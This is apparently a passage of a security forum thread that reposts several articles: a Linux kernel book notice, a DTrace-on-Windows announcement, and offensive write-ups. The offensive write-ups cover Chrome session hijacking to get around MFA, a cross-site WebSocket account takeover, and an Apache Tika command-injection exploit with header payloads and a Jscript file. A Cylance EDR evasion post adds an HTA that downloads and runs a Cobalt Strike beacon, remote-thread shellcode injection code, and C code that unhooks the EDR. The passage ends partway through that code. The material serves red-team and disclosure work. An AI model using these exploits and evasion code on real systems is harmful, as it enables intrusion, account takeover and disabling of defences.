    The goal is simple - to share my modest knowledge about the insides of the linux kernel and help people who are interested in linux kernel insides, and other low-level subject matter. Feel free to go through the book Start here

    Questions/Suggestions: Feel free about any questions or suggestions by pinging me at twitter @0xAX, adding an issue or just drop me an email.

    Mailing List

    We have a Google Group mailing list for learning the kernel source code. Here are some instructions about how to use it.

    Join

    Send an email with any subject/content to kernelhacking+subscribe@googlegroups.com. Then you will receive a confirmation email. Reply it with any content and then you are done.

    If you have Google account, you can also open the archive page and click Apply to join group. You will be approved automatically.

    Send emails to mailing list

    Just send emails to kernelhacking@googlegroups.com. The basic usage is the same as other mailing lists powered by mailman.

    Archives

    https://groups.google.com/forum/#!forum/kernelhacking

    Support

    Support If you like linux-insides you can support me with:

    Support with bitcoin Join the chat at https://gitter.im/0xAX/linux-insides

    On other languages

    Contributions

    Feel free to create issues or pull-requests if you have any problems.

    Please read CONTRIBUTING.md before pushing any changes.

    image

    Author

    @0xAX

    LICENSE

    Licensed BY-NC-SA Creative Commons.

     

    Sursa: https://0xax.gitbooks.io/linux-insides/

    • Upvote 1
  15. Browser Pivot for Chrome

    Hey all,

    Today’s post is about Browser Pivoting with Chrome. For anyone unaware of Browser Pivoting, it’s a technique which essentially leverages an exploited system to gain access to the browser’s authenticated sessions. This is not a new technique, in fact, Raphael Mudge wrote about it in 2013. Detailed in the linked post, the Browser Pivot module for Cobalt Strike targets IE only, and as far as I know, cannot be used against Chrome. In this post we’re trying to achieve a similar result while taking a different approach – stealing the target’s Chrome profile in real time. Just a FYI, if you have the option to use Cobalt Strike’s Browser Pivot module instead, do so, it’s much cleaner.

    You might be thinking – “why go through the trouble?” If I’ve exploited the system I can mimikatz or keylog to get the target’s credentials and by extension, the resources they have access to. Well, one major application that comes to mind is multi-factor authentication (MFA). Organizations are catching on that a single password alone is not nearly sufficient in protecting valued network resources, which is fantastic news! Personally, I have the opportunity to do offensive engagements on OT targets which often have multiple tiers of authentication and networking; it’s my generalization that MFA-less sites tend to fall much quicker than MFA sites – hours or days vs weeks or not at all, respectively. In my opinion, MFA at a security boundary is one of the most important security controls one can implement.

    You also might be thinking – “here you are touting the potency of MFA, yet you are talking about hijacking MFA sessions”. Again, this technique has been around since 2013 and the specific code developed for this PoC is all publicly accessible. Advanced adversaries have access to and are most likely employing this technique. Our offensive engagements need to emulate these threats because that’s how we get better from a defensive standpoint – steel sharpens steel.

    How To Defend

    First off, if you’ve forced an attacker to go beyond traditional credential theft to gain access to critical network resources, congratulations! This walkthrough has quite a few (loud) indicators that can point to malicious activity. We’re starting and stopping services, modifying system32 files, modifying registry, creating and deleting VSS snapshots, and ending it with a remote desktop session to the target. All this activity can easily be detected.

    What Does It Do?

    High level, this PoC attempts to do the following:

    1. Modify the system to allow multiple Remote Desktop connections and remove RemoteApp restrictions.
    2. Using VSS, copy the target’s in-use Chrome profile to another file folder.
    3. Using RemoteApp and proxychains, remotely open a Chrome instance pointing to that copied profile path.
      • If you prefer, I think the profile could be copied over to the attacking VM and leveraged using proxychains and chromium. That being said, I would imagine this type of technique is time sensitive.

     

    Code

    To all the readers – this is proof of concept code, use at your own riskThunderRApp modifies system32 files and ThunderVSS interfaces with VSS. Just a recommendation, don’t run (shoddy) code from some rando on the internet without testing it first.

    • ThunderChrome
      • ThunderRApp (x64 DLL) – Modifies the system to accept multiple RDP and RemoteApp sessions
      • ThunderVSS (x64 DLL) – Copies the target Chrome profile using VSS to get around file locks.
      • ThunderChrome.cna – Aggressor script which runs the DLLs
    • Enumerate Chrome Tabs (Not Included)

    Scenario

    The attackers once again have a foothold on BLANPC-0004 under the context of BLAN\Jack. Jack uses his browser to access a vCenter server in the ADMIN domain. ADMIN\Jack has different credentials than BLAN\Jack when authenticating to the vCenter server. This domain segmentation eliminates several traditional credential theft methods and pushes us into a situation where we might have to keylog or do something else. For this example, let’s also assume that the organization employs hard-token MFA, really restricting our options … way to go defenders! To give you an idea of what MFA brings to the table.

    • Without MFA: mimikatz or keylog –> done!
    • With MFA: mimikatz or keylog, modify system32 files, start and stop services, copy in-use files via VSS, and establish RDP sessions –> done?

    Drawing1

    Multi-RemoteApp Sessions

    In this example, we’re trying to leverage RemoteApp to gain access to Chrome sessions. However, on unmodified Windows Workstation OSes, we cannot use RemoteApp on a target which has an active session. Below describes an attempted RDP connection to a system with an active session.

    picture3

    Detailed in this post, termsrv.dll can be modified to permit multiple Remote Desktop sessions and by extension, RemoteApp sessions. Note, this process requires patching Windows\System32\termsrv.dll which can have major consequences, so beware.

    picture4.jpg

    With termsrv.dll modified, multiple RemoteApp sessions can now be established while the user is active on the target system. In this example, we’re waiting for ADMIN\Jack to authenticate to the ADMIN vCenter server.  So essentially, we’re continuously monitoring Chrome tabs for something vSphere related. To enumerate the tabs I used this PoC.

    picture5Seeing that Jack has a vSphere tab in Chrome, we assume that session cookies for vCenter are in Jack’s Chrome profile. However, we have a major problem, when Chrome is open, profile files and other goodies are locked and inaccessible. We can get around this by creating a VSS snapshot and copying the profile files to another directory we control.

    picture8

    picture7

    With the copied Chrome profile in C:\users\public\documents\thunderchrome\default\, we start a Chrome instance with the –user-data-dir switch which points to the copied profile path. Just a FYI, when using RemoteApp With xfreerdp, I was unable to open Chrome with /app-cmd so I used c:\windows\explorer.exe instead. RemoteApp automatically opens child windows for you, pretty handy.

    And finally, the hijacked vCenter session through proxychains and RemoteApp.

    picture9

     

    Sursa: https://ijustwannared.team/2019/03/11/browser-pivot-for-chrome/

    • Upvote 1
  16. Account Takeover Using Cross-Site WebSocket Hijacking (CSWH)

    Mar 9
     

    Hello ,

    While Hunting on a private program. I found the application using WebSocket connection so I checked the WebSocket URL and I found it was vulnerable to CSWH(Cross-site websocket-hijacking)

    for more details about CSWH you can go through below blog

    1. https://www.christian-schneider.net/CrossSiteWebSocketHijacking.html

    So let’s assume an application is an establishing connection with websocket on URL wss://website.com. to verify the URL is vulnerable to CSWH I follow below steps

    1. Open the web application on browser and login into it.
    2. After this visit, http://websocket.org/echo.html in a new tab, enter the WebSocket URL and click ‘Connect’.
    3. Once the connection is established you must be able to send frames to the server from this page. Capture the websocket frames using burp proxy from a valid session and send them to see how the server responds. If the server responds in the same way as it did for the valid session then it most likely is vulnerable to Cross-Site WebSocket Hijacking
     
    1*RAM_H3sV7mJrZOu6rSsdEg.png

    By following above steps I determined the application is vulnerable to Cross-site-websocket-Hijacking.

    Once I established the WebSocket connection on the new tab I have received below websocket response

     
    1*7K_4OWJA-Qx2-7m5M1nTZw.png

    If you observe the above response, there is parameter “forgotPasswordId” and its value is “null”.

    Now need to determine the value of “_forgotPasswordId” to complete the attack I decided to check the forgot password page and submitted the password reset request.

     
    1*AKYlPYgm7HcdbyD3qyVa5w.png

    Once again I checked the Websocket connection and this time observed the below Response and it contains forgotPassword token

     
    1*XZRyefocwP4bjNv2-GkAMg.png

    Exploit :

    Now to prepare the exploit of account takeover need to chain CSWH and password reset request. So I prepared below payload to send WebSocket response the attacker site using XHR.

     
    Steps:
    1. Send Password reset link to Victim (Using Forgot password page)
    2. Host the Above CSWH.html and Send URL to Vitim (Similar to CSRF attacks)
    3. Once victim click on URL you will get websocket response on your listener as show in below Image
     
    1*Q9ScYIEVOlOKfz13-KrCow.png

    Response on Webhook Listener of attacker

    Once we have forgot password token we can reset the victim password

     

    Sursa: https://medium.com/@sharan.panegav/account-takeover-using-cross-site-websocket-hijacking-cswh-99cf9cea6c50

  17.  

    DTrace on Windows

    Here at Microsoft, we are always looking to engage with open source communities to produce better solutions for the community and our customers . One of the more useful debugging advances that have arrived in the last decade is DTrace. DTrace of course needs no introduction: it’s a dynamic tracing framework that allows an admin or developer to get a real-time look into a system either in user or kernel mode. DTrace has a C-style high level and powerful programming language that allows you to dynamically insert trace points. Using these dynamically inserted trace points, you can filter on conditions or errors, write code to analyze lock patterns, detect deadlocks, etc. ETW while powerful, is static and does not provide the ability to programmatically insert trace points at runtime.  

     

    There are a lot of websites and resources from the community to learn about DTrace. One of the most comprehensive one is the Dynamic Tracing Guide html book available on dtrace.org website. This ebook describes DTrace in detail and is the authoritative guide for DTrace. We also have Windows specific examples below which will provide more info.

     

    Starting in 2016, the OpenDTrace effort began on GitHub that  tried to ensure a portable implementation of DTrace for different operating systems. We decided to add support for DTrace on Windows using this OpenDTrace port.

     

    We have created a Windows branch for “DTrace on Windows” under the OpenDTrace project on GitHub. All our changes made to support DTrace on Windows are available here. Over the next few months, we plan to work with the OpenDTrace community to merge our changes. All our source code is also available at the 3rd party sources website maintained by Microsoft.   

     

    Without further ado, let’s get into how to setup and use DTrace on Windows.

     

    Install and Run DTrace

    Prerequisites for using the feature

    • Windows 10 insider build 18342 or higher
    • Only available on x64 Windows and captures tracing info only for 64-bit processes
    • Windows Insider Program is enabled and configured with valid Windows Insider Account
      • Visit Settings->Update & Security->Windows Insider Program for details

    Instructions:

    1. BCD configuration set:
      1. bcdedit /set dtrace on
      2. Note, you need to set the bcdedit option again, if you upgrade to a new Insider build
    2. Download and install the DTrace package from download center.
      1. This installs the user mode components, drivers and additional feature on demand packages necessary for DTrace to be functional.
    3. Optional: Update the PATH environment variable to include C:\Program Files\DTrace
      1. set PATH=%PATH%;"C:\Program Files\DTrace"
    4. Setup symbol path
      1. Create a new directory for caching symbols locally. Example: mkdir c:\symbols
      2. Set _NT_SYMBOL_PATH=srv*C:\symbols*http://msdl.microsoft.com/download/symbols
      3. DTrace automatically downloads the symbols necessary from the symbol server and caches to the local path.
    5. Optional: Setup Kernel debugger connection to the target machine (MSDN link). This is only required if you want to trace Kernel events using FBT or other providers.
      1. Note that you will need to disable Secureboot and Bitlocker on C:, (if enabled), if you want to setup a kernel debugger. 
    6. Reboot target machine

     

    Running DTrace

    Launch CMD prompt in administrator mode

     

    Get started with sample one-liners:

     

    # Syscall summary by program for 5 seconds: 
    dtrace -Fn "tick-5sec { exit(0);} syscall:::entry{ @num[pid,execname] = count();} "
     
    # Summarize timer set/cancel program for 3 seconds: 
    dtrace -Fn "tick-3sec { exit(0);} syscall::Nt*Timer*:entry { @[probefunc, execname, pid] = count();}"
     
    # Dump System Process kernel structure: (requires symbol path to be set)
    dtrace -n "BEGIN{print(*(struct nt`_EPROCESS *) nt`PsInitialSystemProcess);exit(0);}"
     
    # Tracing paths through NTFS when running notepad.exe (requires KD attach): Run below command and launch notepad.exe
    dtrace -Fn "fbt:ntfs::/execname==\"notepad.exe\"/{}"

     

    The command dtrace -lvn syscall::: will list all the probes and their parameters available from the syscall provider.

     

    The following are some of the providers available on Windows and what they instrument.

    • syscall – NTOS system calls
    • fbt (Function Boundary Tracing) – Kernel function entry and returns
    • pid – User-mode process tracing. Like kernel-mode FBT, but also allowing the instrumentation of arbitrary function offsets.
    • etw (Event Tracing for Windows) – Allows probes to be defined for ETW This provider helps to leverage existing operating system instrumentation in DTrace.
      • This is one addition we have done to DTrace to allow it to expose and gain all the information that Windows already provides in ETW.

    We have more Windows sample scripts applicable for Windows scenarios in the samples directory of the source.

     

    How to file feedback?

    DTrace on Windows is very different from our typical features on Windows and we are going to rely on our Insider community to guide us. If you hit any problems or bugs, please use Feedback hub to let us know.

     

    1. Launch feedback hub by clicking this link
    2. Select Add new feedback.
    3. Please provide a detailed description of the issue or suggestion.
      1. Currently, we do not automatically collect any debug traces, so your verbatim feedback is crucial for understanding and reproducing the issue. Pass on any verbose logs.
      2. You can set DTRACE_DEBUG environment variable to 1 to collect verbose dtrace logs.
    4. Submit

     

    DTrace Architecture

    Let’s talk a little about the internals and architecture of how we supported DTrace. As mentioned, DTrace on Windows is a port of OpenDTrace and reuses much of its user mode components and architecture. Users interact with DTrace through the dtrace command, which is a generic front-end to the DTrace engine. D scripts get compiled to an intermediate format (DIF) in user-space and sent to the DTrace kernel component for execution, sometimes called as the DIF Virtual Machine. This runs in the dtrace.sys driver.

     

    Traceext.sys (trace extension) is a new kernel extension driver we added, which allows Windows to expose functionality that DTrace relies on to provide tracing. The Windows kernel provides callouts during stackwalk or memory accesses which are then implemented by the trace extension.

     

    All APIs and functionality used by dtrace.sys are documented calls.

    dtrace.png

    Security

    Security of Windows is key for our customers and the security model of DTrace makes it ideally suited to Windows. The DTrace guide, linked above talks about DTrace security and performance impact. It would be useful for anyone interested in this space to read that section. At a high level, DTrace uses an intermediate form which is validated for safety and runs in its own execution environment (think C# or Java). This execution environment also handles any run time errors to avoid crashing the system. In addition, the cost of having a probe is minimal and should not visibly affect the system performance unless you enable too many probes in performance sensitive paths.

     

    DTrace on Windows also leverages the Windows security model in useful ways to enhance its security for our customers.

     

    1. To connect to the DTrace trace engine, your account needs to be part of the admin or LocalSystem group
    2. Events originating from kernel mode (FBT, syscalls with ‘kernel’ previous mode, etc.), are only traceable if Kernel debugger is attached
    3. To read kernel-mode memory (probe parameters for kernel-mode originated events, kernel-mode global variables, etc.), the following must be true:
      1. DTrace session security context has either TCB or LoadDriver privilege enabled.
      2. Secure Boot is not active.
    4. To trace a user-mode process, the user needs to have:
      1. Debug privilege
      2. DEBUG access to the target process.

     

    Script signing

    In addition, we have also updated DTrace on Windows to support signing of d scripts. We follow the same model as PowerShell to support signing of scripts.

     

    There is a system wide DTrace script signing policy knob which controls whether to check for signing or not for DTrace scripts. This policy knob is controlled by the Registry.

     

    By default, we do NOT check for signature on DTrace scripts.

     

    Use the following registry keys to enforce policy at machine or user level.

    • User Scope: HKCU\Software\OpenDTrace\Dtrace, ExecutionPolicy, REG_SZ
    • Machine Scope: HKLM\Software\OpenDTrace\Dtrace, ExecutionPolicy, REG_SZ

     

    Policy Values:

    DTrace policy take the following values.

     

    • Bypass": do not perform signature checks. This is the default policy. Only set the registry key if you want to deviate from this policy.
    • "Unrestricted": Do not perform checks on local files, allow user's consent to use unsigned remote files.
    • "RemoteSigned": Do not perform checks on local files, requires a valid and trusted signature for remote files.
    • "AllSigned": Require valid and trusted signature for all files.
    • "Restricted": Script file must be installed as a system component and have a signature from the trusted source.

    You can also set policy by defining the environment variable DTRACE_EXECUTION_POLICY to the required value.

     

    Conclusion

    We are very excited to release the first version of DTrace on Windows. We look forward to feedback from the Windows Insider community.

     

    Cheers,

    DTrace Team (Andrey Shedel, Gopikrishna Kannan, & Hari Pulapaka)

     

    Sursa: https://techcommunity.microsoft.com/t5/Windows-Kernel-Internals/DTrace-on-Windows/ba-p/362902

  18. Exploiting CVE-2018-1335:
    Command Injection in Apache Tika

    March 12, 2019

    David Yesland

    Intro

    This post is a walk-through of steps taken to go from an undisclosed CVE for a command injection vulnerability in the Apache tika-server to a complete exploit. The CVE is https://nvd.nist.gov/vuln/detail/CVE-2018-1335. Since Apache Tika is open source, I was able to take some basic information from the CVE and identify the actual issue by analyzing the Apache Tika code. Although a command injection vulnerability is typically straightforward, as you will see in this post there were some hurdles to overcome to achieve full remote code or command execution. This was due to the way Java handles executing operating system commands and also some intricacies of the Apache Tika code itself. In the end, it was still possible to get around these blockers using the Windows Script Host (Cscript.exe).

    What is Apache Tika

    The Apache Tika™ toolkit detects and extracts metadata and text from over a thousand different file types (such as PPT, XLS, and PDF). All of these file types can be parsed through a single interface, making Tika useful for search engine indexing, content analysis, translation, and much more. (https://tika.apache.org/)

    Apache Tika has a few different components: a Java library, command line tool, and a standalone server (tika-server) with its own REST API. This exploit specifically is targeting the standalone server through the REST API it exposes https://wiki.apache.org/tika/TikaJAXRS. The vulnerable version is found here https://archive.apache.org/dist/tika/tika-server-1.17.jar.

    Breaking Down The CVE

    To start looking for the issue, we need to first read the CVE advisory and see what information can be taken from it to give a starting point of where to look.

    The description from the original advisory:

    Before Tika 1.18, clients could send carefully crafted headers to tika-server that could be used to inject commands into the command line of the server running tika-server.  This vulnerability only affects those running tika-server on a server that is open to untrusted clients.

    Things we can tell from this description:

    • Version 1.18 is patched
    • Version 1.17 is unpatched
    • The vulnerability is command injection
    • The entry point for the vulnerability is “headers”
    • This affects the tika-server portions of the code

    With this information, we now have a starting point to try and identify the vulnerability. The next steps would be to perform a diff of the patched and unpatched version of Tika, specifically the tika-server portions. Grepping the code for functions in Java known to perform operating system commands would be another good place to look. Finally, searching for sections of the tika-server code which relate to interpreting headers from what we can assume will be some kind of HTTP request.

    Getting Into It

    Doing a side-by-side recursive diff of the tika-server 1.17 vs 1.18 source directory only comes back with one file that has been modified. This is shown below cropping to just the important parts.

    image10-2.png

    Diffing tika-1.17/tika-server/src/main/java/org/apache/tika/server/ tika-1.18/tika-server/src/main/java/org/apache/tika/server/

    Since the goal is to find command injection in a header field, having the first result be a code block which has been added in the patched version called “ALLOWABLE_HEADER_CHARS” is a pretty good start. The assumption is that this is some kind of patch trying to filter characters which could be used to inject commands into the header field.

    Continuing down is a large block of code inside of a function called “processHeaderConfig” which looks interesting and has been removed or changed in 1.18. It is using some variable to dynamically create a method which appears to set properties of some object and it uses the HTTP headers to do this.

    image11-2.png

    apache/tika/tika-server/src/main/java/org/apache/tika/server/resource/TikaResource.java

    Here is the description of this function:

    image4-750x234.png

    apache/tika/tika-server/src/main/java/org/apache/tika/server/resource/TikaResource.java

    The prefixes for the different properties were shown in the previous screenshot and are defined as static strings at the beginning of this code.

    image5-1.png

    apache/tika/tika-server/src/main/java/org/apache/tika/server/resource/TikaResource.java

    So, we have a couple static strings the can be included as HTTP headers with a request and used to set some property of an object. An example of the final header would look something like “X-Tika-OCRsomeproperty: somevalue”, “someproperty” then gets converted to a function that looks like “setSomeproperty()” and is invoked passing somevalue to it as the value to set.

    image8.png

    apache/tika/tika-server/src/main/java/org/apache/tika/server/resource/TikaResource.java

    Here you can see this function being used and where the prefix header is checked in the request to determine how to call the function. All the needed arguments are then passed in from the HTTP request to the “processHeaderConfig” function.

    Looking at the way the “processHeaderConfig” function is used, you can see the properties are being set on the “TesseractOCRConfig” object. Doing a search for places that may use the “TesseractOCRConfig” object we find: tika-parsers/src/main/java/org/apache/tika/parser/ocr/TesseractOCRParser.java which turned out to be pretty interesting.

    Here is the “doOCR” function from “TesseractOCRParser.java” which is passing the config properties from the “TesseractOCRConfig” object, which we just discovered, directly into an array of strings which are used to construct a command for “ProcessBuilder” and then the process is started.

    image3.png

    apache/tika/tika-server/src/main/java/org/apache/tika/parser/ocr/TesseractOCRParser.java

    This looks promisingif we put together all the information we have found so far we should technically be able to make some kind of HTTP request to the server, set a header that looks like “X-Tika-OCRTesseractPath: <some command>” and have this command be inserted into the cmd string and be executed. The only problem is is the “config.getTesseractPath()” is prepended to another string we cannot control, “getTesseractProg()” which ends up being a static string, “tesseract.exe”. To fix this we can wrap our command we want to execute in double quotes and Windows will ignore whatever is appended to it after the quotes, just executing our injected command.

    To put this to the test we can just use an example from the tika-server documentation for retrieving some metadata about a file.

    Since OCR stands for Optical Character Recognition, used for pulling text and content out of images, we will use an image to upload instead of a docx to hopefully reach the “doOCR” function.

    We end up with:

    curl -T test.tiff http://localhost:9998/meta --header "X-Tika-OCRTesseractPath: \"calc.exe\""
    image2-2.png

    There you have itthe command injection was identified by wrapping a command in double quotes as the value for the “X-Tika-OCRTesseractPath” HTTP header in a PUT request while uploading an image.

    Can you do more than pop calc?

    At this point, you can see that we are just directly changing the application name that is executed. Because the command is being passed to Java ProcessBuilder as an array, we cannot actually run more than one command or add arguments to the command as a single string or the execution will fail. This is because passing an array of strings to process builder or runtime.exec in Java works like this:

    image7-500x202.png

    Characters that are normally interpreted by shells like cmd.exe or /bin/sh such as &,<,>,|,` etc. are not interpreted by ProcessBuilder and will be ignored, so you cannot break out of the command or add any arguments to it as a single string. It is not as simple as doing something like “X-Tika-OCRTesseractPath: \“cmd.exe /c some args\”, or any combination of this.

    Coming back to the construction of the “cmd” array you can see we have control over multiple arguments in the command as well, this is each item that looks like “config.get*()” but this is broken up by some other items we do not control.

    image3.png

    My first thought was to run “cmd.exe” and then pass in the argument “/C” as “config.getLanguage()” and then insert “||somecommand||” as “config.getPageSegMode()” which would have resulted in “somecommand” being executed. However, this did not work because prior to “doOCR” being called there is another function which is called on the “config.getTesseractPath()” string (the modified command) which simply executes just that command (the purpose was to check if the application being called is a valid application). The problem here is that would just run “cmd.exe” with no arguments and cause the server to hang since “cmd.exe” would never exit and let execution continue to the “doOCR” function.

    Coming Up With a Solution

    To go beyond running a single command we can take a deeper look at what happens when the “doOCR” function starts the process using Process Monitor. Viewing the properties of the process, when the tika-server starts it, results in the following command line which is constructed with the injected command.

    "calc.exe"tesseract.exe C:\Users\Test\AppData\Local\Temp\apache-tika-3299124493942985299.tmp C:\Users\Test\AppData\Local\Temp\apache-tika-7317860646082338953.tmp -l eng -psm 1 txt -c preserve_interword_spaces=0

    The portions of the command we control are highlighted in red. There are 3 places we can inject into the command, 1 command and 2 arguments. Another interesting finding here is that Tika is actually creating 2 temp files and one of them is being passed as the first argument.

    After some further investigation I was able to confirm that the first temp file passed to the command was the contents from the file I was uploading. This meant maybe I could fill that file with some code or command and execute that.

    Now I had to find a native Windows application that will ignore all the random stray arguments created by tika-server and still execute the first files contents as some kind of command or code even though it has a “.tmp” extension. Finding something that would do all this sounded very unlikely to me at first. After clicking around https://github.com/api0cradle/LOLBAS for a while looking at LOLBins thinking maybe I could get lucky, I came across Cscript.exe and it looked somewhat promising. Let’s take a look at what Cscript can do.

    image1.png

    Cscript turned out to be just what was needed. It takes the first argument as a script and allows you to use the “//E:engine” flag to specify what script engine you want to use (this could be Jscript or VBS), so the file extension does not matter. Putting this into the new command would now look like the following.

    "cscript.exe"tesseract.exe C:\Users\Test\AppData\Local\Temp\apache-tika-3299124493942985299.tmp C:\Users\Test\AppData\Local\Temp\apache-tika-7317860646082338953.tmp -l //E:Jscript -psm 1 txt -c preserve_interword_spaces=0

    This is done by setting the following HTTP headers:

    X-Tika-OCRTesseractPath: "cscript.exe"
    X-Tika-OCRLanguage: //E:Jscript

    The “image” file that will be uploaded will contain some Jscript or VBS:

    var oShell = WScript.CreateObject("WScript.Shell");
    var oExec = oShell.Exec('cmd /c calc.exe');

    At first, uploading an image with those contents failed since it was not a valid image and it could not verify the magic bytes of the image. I then found that setting the content-type to “image/jp2” forces Tika to not check magic bytes in the image but still process the image through OCR. This allowed an image containing Jscript to be uploaded.

    Finally, putting all this together, we have full command/jscript/vbs execution.

    tika.gif

    Conclusion

    What seemed to be a simple command injection bug turned out to have quite a few blockers to overcome in order to actually exploit it. It was interesting trying to come up with a method of getting around each hurdle. Although this was difficult to exploit it was still possible to do it and reiterates the point that you should never use untrusted input when constructing operating system commands. Apache does not suggest running the Tika-server in an untrusted environment or exposing it to untrusted users. This bug has also been patched and the current version is 1.20 so make sure you update if you are using this service.

    You can find the PoC in the Rhino Security Lab’s CVE repo: https://github.com/RhinoSecurityLabs/CVEs/tree/master/CVE-2018-1335

     

    Sursa: https://rhinosecuritylabs.com/application-security/exploiting-cve-2018-1335-apache-tika/

  19. Silencing Cylance: A Case Study in Modern EDRs

    12/03/2019 | Author: Admin

    Silencing Cylance: A Case Study in Modern EDRs

    As red teamers regularly operating against mature organisations, we frequently come in to contact with a variety of Endpoint Detection & Response solutions. To better our chances of success in these environments, we regularly analyse these solutions to identify gaps, bypasses and other opportunities to operate effectively. One of the solutions we regularly come across is CylancePROTECT, the EDR from Cylance Inc who were recently acquired by Blackberry in a reported $1.4 billion deal.

    In this blog post we will explore some of our findings that might assist red teamers operating in environments where CylancePROTECT is in place and briefly touch on CylanceOPTICS, a complementary solution that provides rule based detection to the endpoint. We also aim to provide defenders with insight in to how this solution operates so they have a better understanding of gaps that may exist and where complementary solutions can be introduced to mitigate risk.

    Cylance Overview

    CylancePROTECT (hereinafter also referred to as Cylance) functions on a device policy basis which is configurable through the Cylance SaaS portal; policies include the following security relevant configuration options:

    • Memory Actions: control which memory protections are enabled including techniques for exploitation, process injection and escalation,
    • Application Control: blocks new applications being run,
    • Script Control: configuration to block Active Script (VBS and JS), PowerShell and Office macros,
    • Device Control: configure access to removable media.

    During this case study, we will analyse the effectiveness of some of these controls and illustrate techniques that we found to bypass or disable them. All results are taken from CylancePROTECT agent version 2.0.1500; the latest version at the time of writing (Dec 2018).

    Script Control

    As noted, the script control feature of CylancePROTECT allows administrators to configure whether Windows Scripting, PowerShell and Office macros are blocked, permitted or allowed with alerting on the endpoint. A sample configuration may look as follows, which is configured to block all Script, PowerShell and macro files:

    BA882726-0CD2-408A-8F04-9D7E377DE0BB-102

    In such a configuration, simple VBA macro enabled documents are disabled as per the policy; even relatively benign macros such as the following will be blocked:

    67E5E2A4-30F5-4333-B343-EC26F17056F2.png

    This will cause an event to be generated inside the Cylance dashboard similar to the following:

    FFD5B454-5521-4B31-98C8-453395904A4F-102

    While this is relatively effective at neutering VBA macros, we noted that Excel 4.0 macros are not accounted for and have relatively carte blanche access, as shown below:

    CylancePROTECT has no restrictions on Excel 4.0 macro enabled documents, even when macro documents are explicitly blocked by policy. Therefore these provide an effective means for obtaining initial access in a Cylance environment. Further details around weaponising Excel 4.0 macro enabled documents can be found in this excellent research by Stan Hegt.

    It should however be noted that other controls such as the memory protections (exploitation, injection and escalation) are however still in effect, although we’ll discuss those later on.

    Aside from macros, CylancePROTECT can also prevent the execution of Windows Script Host files, specifically VBScript and JavaScript files. As expected, attempting to run simple scripts with WScript.Shell inside a .js or .vbs file such as the following will be blocked by Cylance due to the ActiveScript protection:

    5BA9CFD7-C244-411D-A820-6CDB9A791AE8.png

    This will generate an error inside the Cylance dashboard such as:

    0F78A560-F9ED-436D-BAA7-C360CDAF9CED.png

    However, if we take the exact same JavaScript code and embed it inside a HTML Application such as the following:

    0E1E8061-0738-4FC8-8844-ED3DFB2F9003.png

    We can see that CylancePROTECT does not apply the same controls to any scripts that aren’t directly executed with wscript.exe, as shown below where the HTA spawned through mshta.exe runs without issue:

    Popping calc is all well and good, but let’s look at what happens if we try something more useful and weaponise a HTA using our SharpShooter tool:

    62490C0E-A91E-49AB-A9B7-75BD1210928E-102

    SharpShooter will generate a DotNetToJScript payload that executes the raw shellcode in-memory by first allocating memory for it with VirtualAlloc then get a function pointer to it and execute it, this is a fairly standard method of executing shellcode in .NET. On executing the HTA, an error is generated and the payload is blocked by Cylance, diving in to the dashboard there is little information on the cause, however it is almost certainly as a result of the memory protection controls which we will dive in to shortly:

    75EE2FB2-1701-40F3-ADA6-38B92CC43FDE-102

    Disregarding shellcode execution for the moment (we’ll address that shortly), we already saw Cylance was quite nonchalant when we were executing calc.exe using either the macro or HTA payloads. Let’s see how it reacts if we try to download and run a Cobalt Strike beacon; the following HTA will simply use WScript to call certutil to download and execute a vanilla Cobalt Strike executable:

    53C93CC9-C08F-4895-948B-8F2D028A9CEE-102

    As you can see if you’re operating in an environment with CylancePROTECT, you’ll probably want to bring your favourite application whitelisting bypasses to the party!

    Memory Protections

    Let’s now take a look at the memory protections. When analysing an endpoint security product’s memory protection, it is often useful to review just how that product detects the usage of often suspicious API’s such as CreateRemoteThread or WriteProcessMemory.

    In the case of Cylance, we know that memory analysis is exposed via several console options:

    8863D2D7-968E-4384-A6DC-725E6F9E6A98-102

    If these protections are enabled, what we find is a DLL of CyMemdef.dll is injected into 32-bit processes, and CyMemDef64.dll for 64-bit.

    To understand the protection being employed, we can simulate a common malware memory injection technique leveraging CreateRemoteThread. A small POC was created with the following code:

    HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, false, procID);
    if (hProc == INVALID_HANDLE_VALUE) {
        printf("Error opening process ID %d\n", procID);
        return 1;
    }
    void *alloc = VirtualAllocEx(hProc, NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if (alloc == NULL) {
        printf("Error allocating memory in remote process\n");
        return 1;
    }
    if (WriteProcessMemory(hProc, alloc, shellcode, sizeof(shellcode), NULL) == 0) {
        printf("Error writing to remote process memory\n");
        return 1;
    }
    HANDLE tRemote = CreateRemoteThread(hProc, NULL, 0, (LPTHREAD_START_ROUTINE)alloc, NULL, 0, NULL);
    if (tRemote == INVALID_HANDLE_VALUE) {
        printf("Error starting remote thread\n");
        return 1;
    }

    As expected, executing this code will result in Cylance detecting and terminating the process:

    AC380F81-FD77-4242-BF1F-7CA3DC0AF75A.png

    Reviewing the Cylance injected DLL, we see that a number of hooks are placed within the process to detect the use of these kinds of suspicious functions. For example, placing a breakpoint at NtCreateThreadEx (which provides the syscall bridge for CreateRemoteThread) and invoking the API call, we see that the function has been modified with a JMP:

    9797A6D5-B1D8-4E1C-924D-797035C0A3D9-102

    Continuing execution via this JMP triggers an alert within Cylance and forces the termination of our application. Knowing this, we can simply modify the hooked instructions from our process to remove Cylance’s detection:

    #include <iostream>
    #include <windows.h>
    unsigned char buf[] =
    "SHELLCODE_GOES_HERE";
    struct syscall_table {
        int osVersion;
    };
    // Remove Cylance hook from DLL export
    void removeCylanceHook(const char *dll, const char *apiName, char code) {
        DWORD old, newOld;
        void *procAddress = GetProcAddress(LoadLibraryA(dll), apiName);
        printf("[*] Updating memory protection of %s!%s\n", dll, apiName);
        VirtualProtect(procAddress, 10, PAGE_EXECUTE_READWRITE, &old);
        printf("[*] Unhooking Cylance\n");
        memcpy(procAddress, "\x4c\x8b\xd1\xb8", 4);
        *((char *)procAddress + 4) = code;
        VirtualProtect(procAddress, 10, old, &newOld);
    }
    
    int main(int argc, char **argv)
    {
        if (argc != 2) {
            printf("Usage: %s PID\n", argv[0]);
            return 2;
        }
        DWORD processID = atoi(argv[1]);
        HANDLE proc = OpenProcess(PROCESS_ALL_ACCESS, false, processID);
        if (proc == INVALID_HANDLE_VALUE) {
            printf("[!] Error: Could not open target process: %d\n", processID);
            return 1;
        }
        printf("[*] Opened target process %d\n", processID);
        printf("[*] Allocating memory in target process with VirtualAllocEx\n");
        void *alloc = VirtualAllocEx(proc, NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
        if (alloc == (void*)0) {
